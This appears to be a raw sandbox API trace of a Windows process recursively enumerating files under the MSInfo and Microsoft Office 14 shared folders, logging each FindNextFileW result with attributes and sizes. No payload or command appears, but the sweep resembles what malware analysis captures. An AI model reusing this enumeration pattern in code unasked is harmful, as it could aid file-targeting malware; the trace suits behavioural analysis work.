	[0050.436] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.436] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.436] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.436] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0a09f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca0a09f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 1
	[0050.436] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.436] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.437] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x1277e878 | out: lpFileInformation=0x1277e878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0a09f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca0a09f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6800)) returned 1
	[0050.437] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe"), fInfoLevelId=0x0, lpFileInformation=0x1277e8c8 | out: lpFileInformation=0x1277e8c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x830a4e7c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x830a4e7c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x830cafdd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5c800)) returned 1
	[0050.438] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14" (normalized: "c:\\program files\\common files\\microsoft shared\\office14"), fInfoLevelId=0x0, lpFileInformation=0x1277e918 | out: lpFileInformation=0x1277e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
	[0050.438] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14" (normalized: "c:\\program files\\common files\\microsoft shared\\office14"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.438] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*", lpFindFileData=0x123ed918 | out: lpFindFileData=0x123ed918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.439] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.439] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0050.439] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x703dbc00, ftCreationTime.dwHighDateTime=0x1cbdfc0, ftLastAccessTime.dwLowDateTime=0xd80a4ee0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x703dbc00, ftLastWriteTime.dwHighDateTime=0x1cbdfc0, nFileSizeHigh=0x0, nFileSizeLow=0x310788, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACECORE.DLL", cAlternateFileName="")) returned 1
	[0050.439] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd80f11a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xb5db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEDAO.DLL", cAlternateFileName="")) returned 1
	[0050.439] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0x51128590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0xa990, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEERR.DLL", cAlternateFileName="")) returned 1
	[0050.439] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8117300, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xf73a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEES.DLL", cAlternateFileName="")) returned 1
	[0050.439] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8117300, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x6bfa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEEXCH.DLL", cAlternateFileName="")) returned 1
	[0050.439] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd813d460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xdbb98, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEEXCL.DLL", cAlternateFileName="")) returned 1
	[0050.439] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95c9c200, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd813d460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x95c9c200, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0x53bb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODBC.DLL", cAlternateFileName="")) returned 1
	[0050.439] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x51128590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODDBS.DLL", cAlternateFileName="")) returned 1
	[0050.439] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x5e99f630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODEXL.DLL", cAlternateFileName="")) returned 1
	[0050.439] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x5e99f630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODTXT.DLL", cAlternateFileName="")) returned 1
	[0050.439] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8189720, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x833a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEOLEDB.DLL", cAlternateFileName="")) returned 1
	[0050.439] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96faef00, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd8247e00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x96faef00, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0x6e398, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACER3X.DLL", cAlternateFileName="")) returned 1
	[0050.439] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95c9c200, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd826df60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x95c9c200, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0xd9c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACERCLR.DLL", cAlternateFileName="")) returned 1
	[0050.439] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd826df60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xa8da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEREP.DLL", cAlternateFileName="")) returned 1
	[0050.439] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd82940c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x48990, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACETXT.DLL", cAlternateFileName="")) returned 1
	[0050.439] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1092c00, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xd82ba220, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1092c00, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x2e8da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEWDAT.DLL", cAlternateFileName="")) returned 1
	[0050.439] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e0c9f00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xcf0c7d40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8e0c9f00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x4dba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEWSS.DLL", cAlternateFileName="")) returned 1
	[0050.439] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd82e0380, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x7a998, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEXBE.DLL", cAlternateFileName="")) returned 1
	[0050.439] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67c38700, ftCreationTime.dwHighDateTime=0x1cbc9fc, ftLastAccessTime.dwLowDateTime=0xe5d21520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x67c38700, ftLastWriteTime.dwHighDateTime=0x1cbc9fc, nFileSizeHigh=0x0, nFileSizeLow=0x5e158, dwReserved0=0x0, dwReserved1=0x0, cFileName="ATLCONV.DLL", cAlternateFileName="")) returned 1
	[0050.439] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb10f7500, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0xda5b0540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb10f7500, ftLastWriteTime.dwHighDateTime=0x1cbe56c, nFileSizeHigh=0x0, nFileSizeLow=0x4d67b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Csi.dll", cAlternateFileName="")) returned 1
	[0050.439] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef87d800, ftCreationTime.dwHighDateTime=0x1cb8cce, ftLastAccessTime.dwLowDateTime=0xda5d66a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xef87d800, ftLastWriteTime.dwHighDateTime=0x1cb8cce, nFileSizeHigh=0x0, nFileSizeLow=0x1b3980, dwReserved0=0x0, dwReserved1=0x0, cFileName="CsiSoap.dll", cAlternateFileName="")) returned 1
	[0050.439] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cultures", cAlternateFileName="")) returned 1
	[0050.439] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x520efa00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xd83064e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x520efa00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x7eb48, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPSRV.DLL", cAlternateFileName="")) returned 1
	[0050.440] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ebd7300, ftCreationTime.dwHighDateTime=0x1cba5c3, ftLastAccessTime.dwLowDateTime=0xcef710e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3ebd7300, ftLastWriteTime.dwHighDateTime=0x1cba5c3, nFileSizeHigh=0x0, nFileSizeLow=0x21d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXP_PDF.DLL", cAlternateFileName="")) returned 1
	[0050.440] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5bf6900, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xcf5b0aa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf5bf6900, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0x11578, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXP_XPS.DLL", cAlternateFileName="")) returned 1
	[0050.440] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd66e7600, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xe572de20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd66e7600, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x26560, dwReserved0=0x0, dwReserved1=0x0, cFileName="FLTLDR.EXE", cAlternateFileName="")) returned 1
	[0050.440] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7bf3f00, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x53907610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7bf3f00, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x417360, dwReserved0=0x0, dwReserved1=0x0, cFileName="IACOM2.DLL", cAlternateFileName="")) returned 1
	[0050.440] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x31d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="LICLUA.EXE", cAlternateFileName="")) returned 1
	[0050.440] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc821f600, ftCreationTime.dwHighDateTime=0x1cbdfb3, ftLastAccessTime.dwLowDateTime=0xd776b9a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc821f600, ftLastWriteTime.dwHighDateTime=0x1cbdfb3, nFileSizeHigh=0x0, nFileSizeLow=0x183d780, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSO.DLL", cAlternateFileName="")) returned 1
	[0050.440] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee94c400, ftCreationTime.dwHighDateTime=0x1cb7007, ftLastAccessTime.dwLowDateTime=0xd6225500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xee94c400, ftLastWriteTime.dwHighDateTime=0x1cb7007, nFileSizeHigh=0x0, nFileSizeLow=0x73b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOICONS.EXE", cAlternateFileName="")) returned 1
	[0050.440] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e15000, ftCreationTime.dwHighDateTime=0x1cbf3e5, ftLastAccessTime.dwLowDateTime=0xec32f3e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe5e15000, ftLastWriteTime.dwHighDateTime=0x1cbf3e5, nFileSizeHigh=0x0, nFileSizeLow=0x4529780, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSORES.DLL", cAlternateFileName="")) returned 1
	[0050.440] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4293d00, ftCreationTime.dwHighDateTime=0x1cbc468, ftLastAccessTime.dwLowDateTime=0xd77dddc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa4293d00, ftLastWriteTime.dwHighDateTime=0x1cbc468, nFileSizeHigh=0x0, nFileSizeLow=0x135f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoshext.dll", cAlternateFileName="")) returned 1
	[0050.440] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc276d800, ftCreationTime.dwHighDateTime=0x1cab8aa, ftLastAccessTime.dwLowDateTime=0x6a050eb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc276d800, ftLastWriteTime.dwHighDateTime=0x1cab8aa, nFileSizeHigh=0x0, nFileSizeLow=0xdb50, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOXEV.DLL", cAlternateFileName="")) returned 1
	[0050.440] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553f4600, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x593ede30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553f4600, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x1d950, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOXMLED.EXE", cAlternateFileName="")) returned 1
	[0050.440] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553f4600, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x593ede30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553f4600, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0xdb80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOXMLMF.DLL", cAlternateFileName="")) returned 1
